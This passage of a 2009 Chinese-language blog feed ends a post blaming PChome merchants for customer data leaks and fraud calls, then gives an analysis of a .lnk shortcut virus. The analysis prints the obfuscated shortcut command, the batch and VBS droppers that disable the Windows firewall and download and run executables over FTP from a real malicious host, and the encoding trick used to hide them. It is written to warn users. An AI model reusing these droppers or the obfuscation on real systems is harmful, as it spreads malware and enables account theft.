我與貴司的交易資料, 不知是否有外洩, 今有一名女士, 宣稱是貴司人員, 說貴司因內部作業疏失, 把我變成長期會員, 要我重新提供刷卡資料, 以便代為取消.<br />
請詳查是否真為貴司所為, 或為詐騙.謝謝:)<br />
來電電話顯示為: 02-22830227</p>
<p>2009-10-07 18:49:45 http://store.pchome.com.tw/shuhut/HM/eval.htm?evalType=B<br />
為什麼我向你們購買的資料會讓詐騙集團知道呢？搞什麼？為什麼其它店家不會呢？</p>
<p>2009-10-06 01:04:18 http://store.pchome.com.tw/shuhut/HM/eval.htm?evalType=B<br />
將客戶資料洩漏給詐騙集團,我以後不會再跟你買東西了</p>
<p>2009-10-02 18:31:35 http://store.pchome.com.tw/maggie/HM/eval.htm?evalType=B<br />
物品使用後有問題,提問請求協助快半個月了,都沒回應,售後服務極待加強.且今日收到詐騙電話,這是我有pchome購物以來第一次接到詐騙電話,貴公司的對客戶資料的保密也待加強.</p>
<p>2008-08-23 02:04:10 http://store.pchome.com.tw/sunpro/HM/eval.htm?evalType=B<br />
客服態度<br />
差勁的店家，在PC home商店街使用信用卡刷卡購物，理論上應該含稅，可是貨品收到卻沒有發票，寫email詢問，居然推說比照網拍特價，所以價格是未稅價，雖然金額不高 但是這種逃漏稅的行為令人不恥。另外網拍資料與商店街資料分不清，而且資料外洩，使買家接到詐騙集團以拍賣場的賣家的名號打來的詐騙電話，實在該好好檢討</p>
<p>2009-09-07 01:57:36 http://store.pchome.com.tw/photo_buy/HM/eval.htm?evalType=B<br />
9/6約晚上8點多，一個自稱PCHOME人員說我在上述訂單重複扣款了900，之後他也連絡自稱郵局人員幫我處理這件事，我的個人資料對方完全寥落指掌，當下不疑有他操作了ATM，結果害我損失了13萬多!</p>
<p>以上我已經另行報警處理&#8230;<br />
為什麼我的個人資料會外洩!?<br />
我這筆被詐騙的損失要怎麼辦!?<br />
你們這邊要怎麼跟我解釋!?<br />
(以上同樣的內容也另行傳一份給PCHOME客服)</p>
<p>2009-10-03 18:02:32 http://store.pchome.com.tw/tw1111/HM/eval.htm?evalType=B<br />
於 pchome 商店街買東西，隔沒多久就接到詐騙電話，金額與時間清清楚楚，<br />
不管是誰洩漏資料，讓人感覺非常差勁，應該不會有下次購買。</p>
<p>2009-10-11 03:11:47 http://store.pchome.com.tw/life_store/HM/eval.htm?evalType=B<br />
我自從收到商品之後就經常被各種大陸口音詐騙電話騷擾，<br />
說是什麼當初匯款有問題，講一堆奇奇怪怪的理由，<br />
甚至連身分證字號也被他們知道，<br />
到底會員資料的安全怎麼做的？<br />
不要告訴我這真的是那家公司打來的，<br />
我以前買其他pchome的東西都沒事，<br />
難得用到商店街就發生資料外洩，<br />
還是說這家專賣泡綿且將顧客資料轉給詐騙集團？客服態</p>
<p>2009-10-15 22:34:26 http://store.pchome.com.tw/life_store/HM/eval.htm?evalType=B<br />
我自從收到商品之後就經常被各種大陸口音詐騙電話騷擾，<br />
說是什麼當初匯款有問題，講一堆奇奇怪怪的理由，<br />
甚至連身分證字號也被他們知道，<br />
到底會員資料的安全怎麼做的？<br />
不要告訴我這真的是那家公司打來的，<br />
我以前買其他pchome的東西都沒事，<br />
難得用到商店街就發生資料外洩</p>
<p>2009-10-11 03:11:05 http://store.pchome.com.tw/yan0121/HM/eval.htm?evalType=B<br />
購買東西約半個多月後即接到詐騙集團的電話,對買的物品與價格及時間點完全清晰一致;這是否意味著我的資訊被洩露出去了&#8230;&#8230;&#8230;&#8230;那以後還有誰敢上PChome購物.</p>
<p>2009-10-14 03:12:28 http://store.pchome.com.tw/justmall/HM/eval.htm?evalType=B<br />
商品品質:踏板螺絲易鬆，要時常去重新鎖緊，請加強<br />
近日接獲詐騙集團電話，本訂單及刷卡資料全部外洩，請pchome及晨昌健康科技行銷有限公司加強控管，必要時將報警處理。</p>
<p>2009-10-18 03:11:02 http://store.pchome.com.tw/stationery/HM/eval.htm?evalType=B<br />
我對東西沒有疑問 可是拍了妳們的東西之後 一直接到詐騙電話 對我交易的金額項目一清二楚 請問為什麼?</p>
<h2>數據會說話</h2>
<p>PCHome和那些商家或許又會說，<strong>那都是使用者自己電腦中木馬之類的流出去的</strong>，我說，<strong>鬼扯</strong>! 請看統計出來的分佈圖</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/10/pc_home_sucks.jpg"><img class="alignnone size-full wp-image-886" title="pc_home_sucks" src="http://blog.ez2learn.com/wp-content/uploads/2009/10/pc_home_sucks.jpg" alt="pc_home_sucks" width="701" height="430" /></a></p>
<p>如果說是使用者這邊流出去的，那這些全部集中在9月到10月間突然大量暴出來的詐騙事件又是怎麼回事? <strong>你要說這些使用者都剛好中了他們的木馬，而又剛好最近在PCHome商店街買過東西嗎?</strong> 請別忘了<strong>，出現在這些負評裡的都只是冰山一角，看到一筆負評可能代表有n個人接過詐騙電話，就像你在你家看到一隻老鼠，就表示你家可能有n隻老鼠的道理是一樣的</strong>，只是不是每個人都特地留下負評，時間久了可能就忘了，因此在9月到10月間在PCHome商店街購物接到詐騙電話並且個人資料外流的數量遠遠超過這些資料所顯示的</p>
<p>想像一下，你是詐騙集團，中了你木馬的人近有在線上購物的機率有多少? 假設是1%好了，這表示，如果有1000人接到詐騙電話，那麼實際上中詐騙集團木馬的人就是100倍，<strong>你得讓十萬人的電腦都中你的木馬，並且從中過濾並找到最近有在線上購物的人，才有辦法拿到1000人的資料</strong>，詐騙集團大概是腦子壞去了才會這麼做，PCHome和店家們所說的，資料都是從使用者那端流出去的，根本就是胡扯!</p>
<h2>投資成本最低，報酬率最高的就是 : 店家</h2>
<p>如我上面所說的，詐騙集團要是蠢到投資在零散的使用者個人上，確實有可能可以拿到資料，但是投資報酬率低得可憐，大概只有像PCHome和PCHome商店街的店家們才會笨到這麼做，換做是我，當然是選擇投資抱酬率最高的那個攻擊，那投資報酬率最高的是哪一個環節呢? 答案當然是店家，基本上店家的電腦就跟使用者的一樣容易被入侵，但是比起入侵一堆使用者，只要入侵一個賣家，就能拿到一堆個資，哪個蠢蛋會選擇投資抱酬率低到不行的做法? 可悲的是他們都死不認錯，那<strong>請問這大量突然在同一個平台，同樣幾家少數店家暴發的詐騙事件又該如何解釋?</strong> 當然只有平台或店家被入侵最為何理，但比起店家，平台較難以入侵，店家的安全知識接近0，隨便寄幾封釣魚的信件他們只要有幾個上當就有用不完的資料!</p>
<h2>結論</h2>
<p>結論就是，<strong>PCHome商店街與商店街的店家是詐騙集團的幫凶，死不承認問題出在自己，把責任全推給消費者，然後就這樣任憑資料大量的流出去，讓消費者成為受害者，希望台灣的法律可以立法，讓這些將其它人資料流出去而使人受到損失的人或單位，也得付起一定的刑責</strong>，否則<strong>這些人都無所謂的樣子，還可以拿來說笑!!! </strong>也不研究到底是哪裡、以什麼方式讓資料一而再，再而三的流出去</p>
<p><strong>請大家告訴大家，抵制這些不負責任的平台與賣家，本文只要註明出處，歡迎轉載</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/10/23/pchome-and-stores-suck/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>.lnk捷徑檔病毒</title>
		<link>http://blog.ez2learn.com/2009/10/03/shortcut-file-virus/</link>
		<comments>http://blog.ez2learn.com/2009/10/03/shortcut-file-virus/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 10:01:29 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[病毒]]></category>
		<category><![CDATA[.lnk]]></category>
		<category><![CDATA[捷徑檔]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=870</guid>
		<description><![CDATA[最近我同學跟我說她的電腦中毒了，我要她把病毒傳給我，所以我才能知道是什麼樣的病毒
跟據她傳來的檔案，很有趣的是，我在今年一月份也有收過類似的病毒信，也有寫了一篇簡單的介紹 : 病毒的花招 捷徑檔，我也有找到一篇文章是在介紹這種病毒
文章連結 : %Lnkget%
而到了現在，這樣的手法似乎有增無減，病毒的形式也有所變化，但是都有明顯的特點，信件內容都是繁體中文的，而主機、域名之類的都是來自中國大陸或台灣，在這背後有集團在運作，他的信件內容是這些
現在還在講露股溝妹ㄉ股溝妹已經落伍了～
告訴你瞎瞇叫蟑螂妹～
蟑螂妹
露後臀溝有什麼好大驚小怪ㄉ !
現在日本都已經在露前蟑螂鬚&#8230;.實在有夠不雅ㄉ
而附加檔案是一個壓縮檔，裡面包著一個捷徑檔

對於一般人而言，對這種東西沒什麼警覺性，一般人都只知道.exe之類的很危險，可是這病毒用的是.lnk，而且他又可以設定看起來相關的圖示，加上內容吸引人，各式各樣的內容都有，有的說是照片，有的說是援交妹，甚至有些說』如何防止帳號被盜』，各種聳動或是引誘使用者去點擊的內容都有，但是一但你點了，下場自然就很慘，你的帳號可能會被盜走用來賣掉或偷偷登入來幹壞事，他可能會自動寄類似』我是援交妹，提供全套服務』或是其它類似的內容給你msn或其它網站裡的所有聯絡人，而那些人開了，又會再次的把病毒散播出去，中毒的人肯定會很困擾，以下是一些研究與分析
捷徑檔內容

捷徑檔的內容，像我在一月看到的一樣，是下載惡意程式來執行用的指令，有趣的是他還把視窗的大小以及字形設成最小來避免使用者發現，不同於一月的版本，在這次的版本中，他加了大量的替換變數，來讓指令非常難讀，除此之外，也可能是為了逃避防毒軟體的偵測
他的捷徑目標如下
%ComSpec% /c set q= t t.v&#38;set a=z.c&#38;set p=p.g&#38;set h=p -s:z&#38;set n=echo &#38;echo %n%o ft%p%03%a%om^&#62;z&#62;j&#38;echo %n%aa33^&#62;^&#62;z&#62;&#62;j&#38;echo %n%bb33^&#62;^&#62;z&#62;&#62;j&#38;echo %n%get%q%bs^&#62;^&#62;z&#62;&#62;j&#38;echo %n%bye^&#62;^&#62;z&#62;&#62;j&#38;echo ft%h%&#62;&#62;j&#38;echo start t.vbs&#62;&#62;j&#38;ren j s.bat&#38;call s.bat&#38;
經由整理後它的內容如下
echo echo o ftp.g03z.com^&#62;z&#62;j
echo echo aa33^&#62;^&#62;z&#62;&#62;j
echo echo bb33^&#62;^&#62;z&#62;&#62;j
echo echo get t t.vbs^&#62;^&#62;z&#62;&#62;j
echo echo bye^&#62;^&#62;z&#62;&#62;j
echo ftp -s:z&#62;&#62;j
echo start t.vbs&#62;&#62;j
ren j s.bat
call s.bat
簡單的來說，產生s.bat這個檔案並執行，而s.bat的檔案內容如下
s.bat:
echo o ftp.g03z.com&#62;z
echo aa33&#62;&#62;z
echo bb33&#62;&#62;z
echo get [...]]]></description>
			<content:encoded><![CDATA[<p>最近我同學跟我說她的電腦中毒了，我要她把病毒傳給我，所以我才能知道是什麼樣的病毒</p>
<p>跟據她傳來的檔案，很有趣的是，我在今年一月份也有收過類似的病毒信，也有寫了一篇簡單的介紹 : <a href="http://blog.ez2learn.com/2009/01/01/virus-lnk-file-trick/">病毒的花招 捷徑檔</a>，我也有找到一篇文章是在介紹這種病毒</p>
<p><a href="http://blogs.technet.com/mmpc/archive/2009/03/03/lnkget.aspx">文章連結 : %Lnkget%</a></p>
<p>而到了現在，這樣的手法似乎有增無減，病毒的形式也有所變化，但是都有明顯的特點，信件內容都是繁體中文的，而主機、域名之類的都是來自中國大陸或台灣，在這背後有集團在運作，他的信件內容是這些</p>
<blockquote><p>現在還在講露股溝妹ㄉ股溝妹已經落伍了～<br />
告訴你瞎瞇叫蟑螂妹～<br />
蟑螂妹<br />
露後臀溝有什麼好大驚小怪ㄉ !<br />
現在日本都已經在露前蟑螂鬚&#8230;.實在有夠不雅ㄉ</p></blockquote>
<p>而附加檔案是一個壓縮檔，裡面包著一個捷徑檔</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/10/virus_01.jpg"><img class="alignnone size-full wp-image-871" title="virus_01" src="http://blog.ez2learn.com/wp-content/uploads/2009/10/virus_01.jpg" alt="virus_01" width="166" height="131" /></a></p>
<p>對於一般人而言，對這種東西沒什麼警覺性，一般人都只知道.exe之類的很危險，可是這病毒用的是.lnk，而且他又可以設定看起來相關的圖示，加上內容吸引人，各式各樣的內容都有，有的說是照片，有的說是援交妹，<strong>甚至有些說』如何防止帳號被盜』</strong>，各種聳動或是引誘使用者去點擊的內容都有，但是一但你點了，下場自然就很慘，<strong>你的帳號可能會被盜走用來賣掉或偷偷登入來幹壞事</strong>，他可能會自動寄類似』我是援交妹，提供全套服務』或是其它類似的內容給你msn或其它網站裡的所有聯絡人，而那些人開了，又會再次的把病毒散播出去，中毒的人肯定會很困擾，以下是一些研究與分析</p>
<h2>捷徑檔內容</h2>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/10/virus_02.jpg"><img class="alignnone size-medium wp-image-872" title="virus_02" src="http://blog.ez2learn.com/wp-content/uploads/2009/10/virus_02-238x300.jpg" alt="virus_02" width="238" height="300" /></a></p>
<p>捷徑檔的內容，像我在一月看到的一樣，是下載惡意程式來執行用的指令，有趣的是他還把視窗的大小以及字形設成最小來避免使用者發現，不同於一月的版本，在這次的版本中，他加了大量的替換變數，來讓指令非常難讀，除此之外，也可能是為了逃避防毒軟體的偵測</p>
<p>他的捷徑目標如下</p>
<blockquote><p>%ComSpec% /c set q= t t.v&amp;set a=z.c&amp;set p=p.g&amp;set h=p -s:z&amp;set n=echo &amp;echo %n%o ft%p%03%a%om^&gt;z&gt;j&amp;echo %n%aa33^&gt;^&gt;z&gt;&gt;j&amp;echo %n%bb33^&gt;^&gt;z&gt;&gt;j&amp;echo %n%get%q%bs^&gt;^&gt;z&gt;&gt;j&amp;echo %n%bye^&gt;^&gt;z&gt;&gt;j&amp;echo ft%h%&gt;&gt;j&amp;echo start t.vbs&gt;&gt;j&amp;ren j s.bat&amp;call s.bat&amp;</p></blockquote>
<p>經由整理後它的內容如下</p>
<blockquote><p>echo echo o ftp.g03z.com^&gt;z&gt;j<br />
echo echo aa33^&gt;^&gt;z&gt;&gt;j<br />
echo echo bb33^&gt;^&gt;z&gt;&gt;j<br />
echo echo get t t.vbs^&gt;^&gt;z&gt;&gt;j<br />
echo echo bye^&gt;^&gt;z&gt;&gt;j<br />
echo ftp -s:z&gt;&gt;j<br />
echo start t.vbs&gt;&gt;j<br />
ren j s.bat<br />
call s.bat</p></blockquote>
<p>簡單的來說，產生s.bat這個檔案並執行，而s.bat的檔案內容如下</p>
<p>s.bat:</p>
<blockquote><p>echo o ftp.g03z.com&gt;z<br />
echo aa33&gt;&gt;z<br />
echo bb33&gt;&gt;z<br />
echo get t t.vbs&gt;&gt;z<br />
echo bye&gt;&gt;z<br />
ftp -s:z<br />
start t.vbs</p></blockquote>
<p>而這個s.bat又會去同一個ftp伺服器裡下載t.vbs這個檔案，然後執行</p>
<p>t.vbs:</p>
<blockquote><p>sub k<br />
for i=1 to UBound(s)<br />
r=r&amp;chr(s(i)-678)<br />
next<br />
Set kk = CreateObject(『Wscript.Shell』)<br />
kk.run r,1<br />
end sub<br />
s=array(691,777,787,778,710,725,777,710,788,779,794,710,793,794,789,790,710,793,782,775,792,779,778,775,777,777,779,793,793,716,779,777,782,789,710,789,710,797,797,797,724,781,726,729,800,724,777,789,787,740,783,724,783,716,779,777,782,789,710,775,775,729,729,740,740,783,724,783,716,779,777,782,789,710,776,776,729,729,740,740,783,724,783,716,779,777,782,789,710,792,779,777,796,710,778,710,778,724,779,798,779,740,740,783,724,783,716,779,777,782,789,710,776,799,779,740,740,783,724,783,716,780,794,790,710,723,793,736,783,724,783,716,778,779,786,710,783,724,783,716,778,724,779,798,779,716,779,777,782,789,710,789,710,797,797,797,724,781,726,729,800,724,777,789,787,740,795,724,795,716,779,777,782,789,710,775,775,729,729,740,740,795,724,795,716,779,777,782,789,710,776,776,729,729,740,740,795,724,795,716,779,777,782,789,710,781,779,794,710,793,710,793,724,779,798,779,740,740,795,724,795,716,779,777,782,789,710,776,799,779,740,740,795,724,795,716,780,794,790,710,723,793,736,795,724,795,716,793,724,779,798,779,716,778,779,786,710,795,724,795,716,778,779,786,710,741,724,796,776,793,716,778,779,786,710,793,724,779,798,779,710,778,724,779,798,779,716,793,794,775,792,794,710,782,794,794,790,736,725,725,776,795,799,724,799,775,782,789,789,724,777,789,787,724,794,797,725,716,778,779,786,710,741,710,741,724,776,775,794)<br />
k</p></blockquote>
<p>它把要執行的指定ascii加過了678放在陣列s中，然後用vbs將指令還原就變成了這樣:</p>
<blockquote><p>cmd /c net stop sharedaccess&amp;echo o www.g03z.com&gt;i.i&amp;echo aa33&gt;&gt;i.i&amp;echo bb33&gt;&gt;i.i&amp;echo recv d d.exe&gt;&gt;i.i&amp;echo bye&gt;&gt;i.i&amp;ftp -s:i.i&amp;del i.i&amp;d.exe&amp;echo o www.g03z.com&gt;u.u&amp;echo aa33&gt;&gt;u.u&amp;echo bb33&gt;&gt;u.u&amp;echo get s s.exe&gt;&gt;u.u&amp;echo bye&gt;&gt;u.u&amp;ftp -s:u.u&amp;s.exe&amp;del u.u&amp;del ?.vbs&amp;del s.exe d.exe&amp;start http://buy.yahoo.com.tw/&amp;del ? ?.bat</p></blockquote>
<p>經整理過後</p>
<blockquote><p>net stop sharedaccess<br />
echo o www.g03z.com&gt;i.i<br />
echo aa33&gt;&gt;i.i<br />
echo bb33&gt;&gt;i.i<br />
echo recv d d.exe&gt;&gt;i.i<br />
echo bye&gt;&gt;i.i<br />
ftp -s:i.i<br />
del i.i<br />
d.exe</p>
<p>echo o www.g03z.com&gt;u.u<br />
echo aa33&gt;&gt;u.u<br />
echo bb33&gt;&gt;u.u<br />
echo get s s.exe&gt;&gt;u.u<br />
echo bye&gt;&gt;u.u<br />
ftp -s:u.u<br />
s.exe</p>
<p>del u.u<br />
del ?.vbs<br />
del s.exe d.exe<br />
start http://buy.yahoo.com.tw/<br />
del ? ?.bat</p></blockquote>
<p>經過了這又臭又長的繞這麼一大圈，在這次下載了d.exe和s.exe才是真正的病毒，兩個檔案並執行，然後刪除之前下載的所有東西，為什麼需要兩個檔案，這點我還沒有研究，接著它會開啟Yahoo! 奇摩拍賣的首頁，我猜他是想讓使用者輸入帳號密碼登入Yahoo!奇摩拍賣，然後先前裝好的病毒在一旁側錄帳號密碼，合理地懷疑，這病毒的目的可能是想偷Yahoo!奇摩拍賣的帳號，然後賣給詐騙集團，又或著這背後的集團本身就是詐騙集團，但也有可能只是想混淆視聽而已</p>
<p>之所以要繞這麼大一圈，我想其目的可能是想避免被研究，而最有趣的地方在於，他們都一直登入一個FTP主機，我們就來研究看看這到底是哪裡來的主機</p>
<h2>來源的研究</h2>
<blockquote><p>註冊商 WHOIS 主機 : whois.paycenter.com.cn</p>
<p>The Data in Paycenter&#8217;s WHOIS database is provided by Paycenter<br />
for information purposes, and to assist persons in obtaining<br />
information about or related to a domain name registration record.<br />
Paycenter does not guarantee its accuracy. By submitting<br />
a WHOIS query, you agree that you will use this Data only<br />
for lawful purposes and that,<br />
under no circumstances will you use this Data to:<br />
(1) allow, enable, or otherwise support the transmission<br />
of mass unsolicited, commercial advertising or solicitations<br />
via e-mail (spam); or<br />
(2) enable high volume, automated, electronic processes that<br />
apply to Paycenter or its systems.<br />
Paycenter reserves the right to modify these terms at any time.<br />
By submitting this query, you agree to abide by this policy.</p>
<p>Domain Name : g03z.com<br />
PunnyCode : g03z.com<br />
Creation Date : 2009-01-08 16:50:39<br />
Updated Date : 2009-01-08 16:50:39<br />
Expiration Date : 2010-01-08 16:50:21</p>
<p>Registrant:<br />
Organization : ggg zzz<br />
Name : zzzzggg<br />
Address : wefwefw wefwefwef<br />
City : 34234234<br />
Province/State : jiangsu<br />
Country : CN<br />
Postal Code : 234234</p>
<p>Administrative Contact:<br />
Name : ggg zzz<br />
Organization : zzzzggg<br />
Address : wefwefw wefwefwef<br />
City : 34234234<br />
Province/State : jiangsu<br />
Country : CN<br />
Postal Code : 234234<br />
Phone Number : 86&#8211;02586883333<br />
Fax : 86&#8211;02586883333<br />
Email : web (a) zgsj.com</p>
<p>Technical Contact:<br />
Name : ggg zzz<br />
Organization : zzzzggg<br />
Address : wefwefw wefwefwef<br />
City : 34234234<br />
Province/State : jiangsu<br />
Country : CN<br />
Postal Code : 234234<br />
Phone Number : 86&#8211;02586883333<br />
Fax : 86&#8211;02586883333<br />
Email : web (a) zgsj.com</p>
<p>Billing Contact:<br />
Name : ggg zzz<br />
Organization : zzzzggg<br />
Address : wefwefw wefwefwef<br />
City : 34234234<br />
Province/State : jiangsu<br />
Country : CN<br />
Postal Code : 234234<br />
Phone Number : 86&#8211;02586883333<br />
Fax : 86&#8211;02586883333<br />
Email : web (a) zgsj.com</p></blockquote>
<p>能得到的就只有是中國註冊的訊息，所有聯絡資料都是亂打的，當然要註冊網域來幹壞事應該沒有人蠢到會寫自己的聯絡資料上去，接著是主機的位置，解析後是</p>
<blockquote><p>202.153.172.43</p></blockquote>
<p>經由whois的資料可以發現，是台灣公司的主機</p>
<blockquote><p>inetnum:      202.153.160.0 &#8211; 202.153.207.255<br />
netname:      UNIGATENET<br />
descr:        UnigateNet, Internet Service Provider,<br />
descr:        Taipei, Taiwan, R.O.C<br />
country:      TW<br />
admin-c:      FC159-AP<br />
tech-c:       CG195-AP<br />
mnt-by:       APNIC-HM<br />
mnt-lower:    MAINT-TW-UNIGATE<br />
remarks:      This object can only be modified by APNIC hostmaster<br />
remarks:      If you wish to modify this object details please<br />
remarks:      send email to hostmaster (at) apnic.net with your organisation<br />
remarks:      account name in the subject line.<br />
status:       ALLOCATED PORTABLE<br />
changed:      hm-changed (at) apnic.net 20031024<br />
changed:      hm-changed (at) apnic.net 20060117<br />
source:       APNIC</p>
<p>person:       Felix Chou<br />
address:      Chief Telecom Inc.<br />
address:      No.250, Yuang Guang St.,<br />
address:      Neihu Chiu, Taipei 114,<br />
address:      Taiwan, R.O.C.<br />
country:      TW<br />
phone:        +886-2-2657-6688<br />
fax-no:       +886-2-2797-2998<br />
e-mail:       felix (at) chief.com.tw<br />
nic-hdl:      FC159-AP<br />
mnt-by:       MAINT-TW-UNIGATE<br />
changed:      noah (at) chief.com.tw 20020715<br />
changed:      mark_lin (at) chief.com.tw 20060127<br />
source:       APNIC</p>
<p>person:       Chief Group<br />
address:      UniGate Telecom Inc.<br />
address:      No.250, Yuang Guang St.,<br />
address:      Neihu Chiu, Taipei 114,<br />
address:      Taiwan, R.O.C.<br />
country:      TW<br />
phone:        +886-2-2657-6688<br />
fax-no:       +886-2-2657-6460<br />
nic-hdl:      CG195-AP<br />
e-mail:       felix_chou (at) chief.com.tw<br />
e-mail:       mark_lin (at) chief.com.tw<br />
e-mail:       apnic_admin (at) chief.com.tw<br />
changed:      mark_lin (at) chief.com.tw 20070521<br />
mnt-by:       MAINT-TW-UNIGATE<br />
source:       APNIC</p></blockquote>
<p>看起來是一家叫<a href="http://www.chief.com.tw">是方電訊</a>的公司，他有提供IDC的服務，另一個公司叫<a href="http://www.unigate.net.tw/">領航電信</a>，不太清楚他們之間是什麼關係，不過看起來應該是被入侵的，直接連到<a href="http://202.55.242.9/">http://202.55.242.9/</a>也是領航電信的網頁，應該沒有笨蛋會拿自己的公司主機來幹壞事，諷刺的是，是方電訊的首頁擺了什麼資安碉堡防護系列的產品，而領航電信的網頁，下面有排跑馬燈這樣寫著</p>
<blockquote><p>間碟軟體對電腦使用者之危害及影響宣導:為防止不肖人士利用間碟軟體竊取格人資料, 請網際網路接取用戶注意間碟軟體對於電腦使用的危害及影響.</p></blockquote>
<p>嘖嘖，一個被入侵了還在賣資安產品，一個還提醒別人間諜軟體的危害，都不知道自己變成了幫兇&#8230;.，我有找到其它提到這些資料的討論，他們說都已經回報了這些公司，不過到了今天一樣還在幫忙散播病毒，真不知道這些公司到底在幹什麼的，開著主機讓人散播病毒</p>
<h2>最後</h2>
<p>我相信在這背後的集團肯定跟詐騙集團有關係，這些.lnk病毒的風格和行為都大同小異，都同樣會透過信件以誘人開啟的內容散播，而且都是以盈利目的，其目的都是為了盜取遊戲的帳號密碼，或是盜取網拍帳密，偷走網拍資料，來供詐騙集團有訂單等資料讓受害者取信</p>
<p>我有想過如何不讓這種事情發生，例如試著攻擊那些提供病毒檔讓人下載的主機，讓他沒有辦法運作，但是安全性是0分的機器何其多，而像上文列出這些公司，不負責任把自己伺服器安全弄好的公司也很多，即使某個伺服器的服務被我阻斷了，在這背後的集團只要換一個伺服器就可以繼續犯案，而指望台灣或是中國大陸能逮到這些人大概也遙遙無期，中國大陸可是網路犯罪的天堂，所以最好的方法還是使用者要知道這些基本的知識，這是所有使用者的責任，為了你點開了病毒把病毒散播出去，可能某個人就因此這輩子的積蓄就此被騙光，你也是幫兇之一，因此，在這個騙子橫行的年代，要有基本的警覺，接著我會寫一篇文章來告訴大家一些基本該知道的知識</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/10/03/shortcut-file-virus/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>夏天協奏曲 11月27日全省上映</title>
		<link>http://blog.ez2learn.com/2009/09/28/summer-concerto-2/</link>
		<comments>http://blog.ez2learn.com/2009/09/28/summer-concerto-2/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 13:26:42 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[分享]]></category>
		<category><![CDATA[夏天協奏曲]]></category>
		<category><![CDATA[好片]]></category>
		<category><![CDATA[國片]]></category>
		<category><![CDATA[沙拉]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=867</guid>
		<description><![CDATA[夏天協奏曲 11月27日全省上映
官方部落格
]]></description>
			<content:encoded><![CDATA[<div id="attachment_748" class="wp-caption alignnone" style="width: 222px"><a href="http://summertimes1127.pixnet.net/blog"><img class="size-medium wp-image-748" title="夏天協奏曲" src="http://blog.ez2learn.com/wp-content/uploads/2009/08/4a75406fd3430-212x300.jpg" alt="夏天協奏曲DM" width="212" height="300" /></a><p class="wp-caption-text">夏天協奏曲DM</p></div>
<p>夏天協奏曲 11月27日全省上映</p>
<p><a href="http://summertimes1127.pixnet.net/blog"><span style="font-size: xx-large;">官方部落格</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/09/28/summer-concerto-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
